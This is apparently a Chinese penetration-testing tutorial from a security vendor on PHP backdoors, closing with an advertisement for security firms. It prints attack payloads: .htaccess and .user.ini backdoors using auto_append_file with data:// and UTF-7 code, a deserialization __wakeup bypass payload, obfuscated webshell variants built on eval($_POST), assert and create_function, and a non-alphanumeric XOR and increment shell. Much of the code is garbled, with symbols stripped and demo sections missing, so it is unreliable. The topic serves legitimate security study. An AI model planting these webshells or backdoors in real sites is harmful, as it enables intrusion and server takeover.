很多想做渗透测试的朋友都想了解关于PHP后门漏洞的安全测试重点方法,以及该如何预防被中php后门,本节由我们的Sine安全高级渗透工程师进行全面的讲解,来让大家更好的理解和了解php代码的安全检测,让网站得到最大化的安全保障,安全保障了,网站才能更长远的运行下去。
4.1.1.后门
4.1.1.1.php.ini构成的后门
利用auto_prepend_file和include_path
4.1.1.2..htaccess后门
php_valueauto_append_file.htaccess
#?phpphpinfo();
php_flagallow_url_include1
php_valueauto_append_filedata://text/plain;,PD9waHAgcGhwaW5mbygpOw==
#php_valueauto_append_filedata://text/plain,%3C%3Fphp+phpinfo%28%29%3B
4.1.1.3..user.ini文件构成的PHP后门
.user.ini可运行于所有以fastcgi运行的server。利用方式同php.in
4.1.2.反序列化
4.1.2.1.PHP序列化实现
PHP序列化处理共有三种,分别为php_serialize、php_binary和WDDX,默认为php_serialize,可通过配置中的session.serialize_handler修改。
其中php_serialize的实现在php-src/ext/standard/var.c中,主要函数为php_var_serialize_intern,序列化后的格式如下:
booleanb:value;b:1;//trueb:0;//falseintegeri:value;doubled:value;NULLN;strings:length:value;s:1:s;arraya:length:{key,value};a:1:{s:4:key1;s:6:value1;}//array(key1=value1);objectO:class_name_length:class_namenumber_of_properties:{properties};reference指针类型R:reference;O:1:A:2:{s:1:a;i:1;s:1:b;R:2;}a=newA();a-a=1;a-b=a-a;4.1.2.2.PHP反序列化漏洞
php在反序列化的时候会调用__wakeup/__sleep等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。
另外__toString/__call两个函数也有利用的可能。
其中__wakeup在反序列化时被触发,__destruct在GC时被触发,__toString在echo时被触发,__call在一个未被定义的函数调用时被触发。
下面提供一个简单的demo.
利用auto_prepend_file和include_path
输出
construct
Datasvalueisrawvalue.
destruct
string(44)O:4:Demo:1:{s:4:data;s:9:rawvalue;}
把序列化的字符串修改一下后,执行
unserialize(O:4:Demo:1:{s:4:data;s:15:maliciousvalue;});
输出
wakeup
Datasvalueismaliciousvalue.
destruct
这里看到,值被修改了.
上面是一个unserialize()的简单应用,不难看出,如果__wakeup()或者__desturct()有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。
那么,在__wakeup()中加入判断是否可以阻止这个漏洞呢?在__wakeup()中我们加入一行代码
但其实还是可以绕过的,在PHP55.6.25,PHP77.0.10的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload
unserialize(O:7:HITCON:1:{s:4:data;s:15:maliciousvalue;});
输出
Datasvalueismaliciousvalue.
destruct
这里wakeup被绕过,值依旧被修改了。
4.1.3.DisableFunctions
4.1.3.1.机制实现
PHP中DisableFunction的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用zend_disable_function来实现禁止的效果。
这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:
和函数的实现方式类似,disableclasses也是这样实现的
因为这个实现机制的原因,在PHP启动后通过ini_set来修改disable_functions或disable_classes是无效的。
4.1.3.2.Bypass
LD_PRELOAD绕过PHPOPcacheMail函数imap_open4.1.4.OpenBasedir
4.1.4.1.机制实现
PHP中DisableFunction的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:
PHPAPIintphp_check_open_basedir_ex(constchar*path,intwarn)
{
/*Onlycheckwhenopen_basedirisavailable*/
if(PG(open_basedir)*PG(open_basedir)){
char*pathbuf;
char*ptr;
char*end;
/*Checkifthepathistoolongsowecangiveamoreusefulerror
*message.*/
if(strlen(path)(MAXPATHLEN-1)){
php_error_docref(NULL,E_WARNING,Filenameislongerthanthemaximumallowedpathlengthonthisplatform(%d):%s,MAXPATHLEN,path);
errno=EINVAL;
return-1;
}
pathbuf=estrdup(PG(open_basedir))
ptr=pathbuf;
while(ptr*ptr){
end=strchr(ptr,DEFAULT_DIR_SEPARATOR);
if(end!=NULL){
*end=\0;
end++;
}
if(php_check_specific_open_basedir(ptr,path)==0){
efree(pathbuf);
return0;
}
ptr=end;
}
if(warn){
php_error_docref(NULL,E_WARNING,open_basedirrestrictionineffect.File(%s)isnotwithintheallowedpath(s):(%s),path,PG(open_basedir));
}
efree(pathbuf);
errno=EPERM;/*wedenypermissiontoopenit*/
return-1;
}
/*Nothingtocheck...*/
return0;
}
4.1.5.phpinfo相关漏洞
4.1.5.1.Session.Save
PHP的Session默认handler为文件,存储在php.ini的session.save_path中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置
4.1.5.2.Session.Upload
php.ini默认开启了session.upload_progress.enabled,该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。
那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。
4.1.5.3./tmp临时文件竞争
phpinfo中可以看到上传的临时文件的路径,从而实现LFI
4.1.6.htaccessinjectionpayload
4.1.6.1.fileinclusion
利用auto_prepend_file和include_path
4.1.6.2.codeexecution
php_valueauto_append_file.htaccess
#?phpphpinfo();
4.1.6.3.fileinclusion
php_flagallow_url_include1php_valueauto_append_filedata://text/plain;,PD9waHAgcGhwaW5mbygpOw==#php_valueauto_append_filedata://text/plain,%3C%3Fphp+phpinfo%28%29%3B#php_valueauto_append_file/evil-code.txt4.1.6.4.codeexecutionwithUTF-7
php_flagzend.multibyte1
php_valuezend._encodingUTF-7
php_valueauto_append_file.htaccess
#+ADw?phpphpinfo()+ADs
4.1.6.5.Sourcecodedisclosure
php_flagengine0
4.1.7.WebShell
4.1.7.1.常见变形
GLOBALSeval(GLOBALS[_POST][op]);_FILEeval(_FILE[name]);拆分assert({_PO.ST}[sz]);动态函数执行k=ass.ert;k({_PO.ST}[sz]);create_functionfunction=create_function(code,strrev(lave).(.strrev(TEG_).[code]););function();preg_replacerot13进制转化\x62\x61\\x65\x36\x34\\\\x63\x6f\\利用文件名__FILE__4.1.7.2.字符串变形函数
ucwordsucfirsttrimsubstr_replacesubstrstrtrstrtoupperstrtolowerstrtokstr_rot.1.7.3.回调函数
call_user_func_arraycall_user_funcarray_filterarray_walkarray_mapregistregister_shutdown_functionregister_tick_functionfilter_varfilter_var_arrayuasortuksortarray_reducearray_walkarray_walk_recursive4.1.7.4.特殊字符Shell
PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。
_++;__=(#^
).(.^~).(/^`).(
^/).({^/);
{__}[!_]({__}[_]);_=[];
_=
_;//_=Array;_=_[!==
];//_=_[0];___=_;//A
__=_;
__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;
___.=__;//S
___.=__;//S
__=_;
__++;__++;__++;__++;//E
___.=__;
__=_;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//R
___.=__;
__=_;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//T
___.=__;
____=_;
__=_;
__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//P
____.=__;
__=_;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//O
____.=__;
__=_;
__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//S
____.=__;
__=_;
__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;__++;//T
____.=__;
_=____;
___(_decode(_[_]));
4.1.8.其它
4.1.8.1.低精度
php中并不是用高精度来存储浮点数,而是用使用IEEE双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。比如php-rvar_dump(0.2+0.7==
0.9);这行代码的输出是bool(false)而不是bool(true)。这在一些情况下可能出现问题。
4.1.8.2.弱类型
如果使用==来判断相等,则会因为类型推断出现一些预料之外的行为,比如magichash,指当两个md5值都是0e[0-9]{30}的时候,就会认为两个hash值相等。另外在判断字符串和数字的时候,PHP会自动做类型转换,那么1==1a.php的结果会是true
另外在判断一些hash时,如果传入的是数组,返回值会为NULL,因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。
同样的,strcmp()ereg()strpos()这些函数在处理数组的时候也会异常,返回NULL。
4.1.8.3.命令执行
preg_replace第一个参数是//e的时候,第二个参数会被当作命令执行
4.1.8.4.截断
PHP字符存在截断行为,可以使用ereg/%00/iconv等实现php字符截断的操作,从而触发漏洞。
4.1.8.5.变量覆盖
当使用extract/parse_str等函数时,或者使用php的特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。
4.1.8.6.执行系统命令
禁用的函数可以在phpinfo中的disable_functions中查看
pcntl_execexecpassthrupopenshell_execsystemproc_open4.1.8.7.Magic函数
__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()4.1.8.8.文件相关敏感函数
move_uploaded_filefile_put_contents/file_get_contentsunlinkfopen/fgets4.1.8.9.php特性
php自身在解析请求的时候,如果参数名字中包含”“、”.”、”[“这几个字符,会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法,那么如果对此有需求的朋友可以咨询专业的网站安全公司来做渗透测试,国内做的比较好的安全公司如Sinesafe,启明星辰,绿盟等等。